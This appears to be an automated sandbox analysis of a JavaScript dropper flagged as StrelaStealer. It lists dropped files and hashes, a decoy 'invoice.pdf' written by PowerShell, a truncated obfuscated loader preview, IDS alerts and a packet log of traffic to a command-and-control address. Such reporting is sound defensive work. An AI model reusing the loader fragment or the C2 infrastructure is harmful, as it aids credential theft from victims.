Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3833082510175005
Encrypted:	false
SSDEEP:	384:z+cTU+cxpUtnKE+Rm4Z0zRMFZOvtGwIUjvgqouWYElh/kORUuo1g2oxoVcqcAxyX:Wv6i
MD5:	FD24CD13A6F29A883F2A6FBDEB978D5F
SHA1:	B029D3433E31511EB282F3AFBC8E47856033A759
SHA-256:	75E6043D0B469510E99687A400C04F66F1A6D64E5FBBF09F554CB2A94459F602
SHA-512:	07A0749BBCC2ACF39A83DAF29E891FB8C6F58A730F00C280BFC12AA23DB75E40327FEE2C677A51BDD34A983CCC8F2914AEF33B6E31571506F6A33C3E2E511672
Malicious:	false
Preview:	SessionID=6e724d39-98f6-4266-a1a1-12d3b7cf85a9.1736758034869 Timestamp=2025-01-13T03:47:14:869-0500 ThreadID=2156 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6e724d39-98f6-4266-a1a1-12d3b7cf85a9.1736758034869 Timestamp=2025-01-13T03:47:14:870-0500 ThreadID=2156 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6e724d39-98f6-4266-a1a1-12d3b7cf85a9.1736758034869 Timestamp=2025-01-13T03:47:14:870-0500 ThreadID=2156 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6e724d39-98f6-4266-a1a1-12d3b7cf85a9.1736758034869 Timestamp=2025-01-13T03:47:14:870-0500 ThreadID=2156 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6e724d39-98f6-4266-a1a1-12d3b7cf85a9.1736758034869 Timestamp=2025-01-13T03:47:14:870-0500 ThreadID=2156 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.409176900701935
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbWcbyIw6cbp:ceo4+rsChwJ
MD5:	9B51B0ECB66419A6E901FF577206E6F0
SHA1:	64EE7C08F00E484C331E8DAAB2EE5CE4482E59AC
SHA-256:	BE7493F93553D69726609C89A66D349127CDE7A25F6AF58AA30EBBCFF8F5D59D
SHA-512:	CD3D7DEBD5992A22DFF0DDE41CC344A353EEF8DE05E27C4F05E8494FB5AB6C83F4CBA6EF1551853239E418068AA8E2AB102AB30EB91AE7A11299C3CAC95A5C73
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\25b6f041-ec78-4c73-89c6-8fbd018a6ddc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5bac8dae-2da8-495e-a068-23a5f3a360d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\930d4e5b-45c6-4790-b6c6-3d04a1ac7e1c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b7e13ef4-1ac0-4551-858b-5eadec66bf9b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17346), with CRLF line terminators
Entropy (8bit):	4.94965888688598
TrID:
File name:	29522576223272839.js
File size:	21'058 bytes
MD5:	e68380efdfb99c187dba2907c20efc21
SHA1:	16c763699fa783c579a171c2aaf13953e4d04051
SHA256:	30ae7d8bf0d4b2e211541da14f197a462e78363eed383130403aace9536e4ce1
SHA512:	6f8458d0f4b58dfcbca6953b36dfa2db0686f81c65d186a375494a260f9a21006a1d14dc1f9b13f2f1644ef06a8e5c674f16b8b124f9d2161144c967c225e5ed
SSDEEP:	384:JuRVvvr6dhn1GThBuAZw86omYmRonxcm1PgGaaopHJcNn5bCloWNEaLxYNjD5e5b:JmVvvr6d3yhsS96o9ConbGGaaopHJcNM
TLSH:	E0924084617BE287CFD043F9D15A600E6172409992C837F90A4A7C4B9726BBA17F8DF7
File Content Preview:	function ftmbsyuys(){jonwo=[1031,3079,5127,4103,2055,3072];var bwdbrr=this[huwjz+nqhtstk+ziowoargg+zroyvlf+wggjledh+obzjofwux+vrhcplatx+nxmxicee](this[dsmdn+cktrhd+fjnehxkw+ziowoargg+qbkbquk+huwjz+nxmxicee][hloliztto+ziowoargg+wggjledh+nqhtstk+nxmxicee+wg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T09:47:11.018878+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-13T09:47:11.018878+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-13T09:47:13.382280+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:47:10.228672981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:10.233711958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:10.233890057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:10.236773014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:10.241533041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018807888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018826962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018840075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018852949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018865108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018877983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.018882036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018894911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018908024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018917084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.018920898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018934965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.018954039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.018976927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.023772955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.069480896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.073050976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.073064089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.073105097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340176105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340202093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340220928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340233088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340249062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340260029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340271950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340284109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340295076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340306044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340312004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340317011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340337992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340348959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340357065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340362072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340368986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340385914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340394020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340398073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340410948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340421915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340435028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340435982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340446949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340459108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340462923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340470076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340477943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340482950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340495110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.340506077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.340528965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.345416069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345446110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345458984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345470905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345484018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345498085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.345542908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.345783949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345796108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345810890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345828056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.345870972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345889091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.345918894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.346663952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.346683025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.346694946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.346707106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.346714020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.346720934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.346757889 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.347490072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.347520113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.347538948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.347551107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.347563982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.347564936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.347580910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.348390102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.348407030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.348419905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.348429918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.348431110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.348444939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.348447084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.348485947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.349221945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.349247932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.349260092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.349292994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.349308014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.349322081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.349371910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.350119114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.350131989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.350143909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.350161076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.350167990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.350172997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.350179911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.350207090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.356558084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356576920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356589079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356601000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356615067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356626987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356632948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.356640100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356652021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356661081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356668949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.356673956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.356694937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.356713057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.358932018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.358948946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.358961105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.358973026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.358985901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.359003067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.359036922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.365628004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:11.370466948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370482922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370495081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:11.370507002 CET	80	49706	193.143.1.205	192.168.2.8
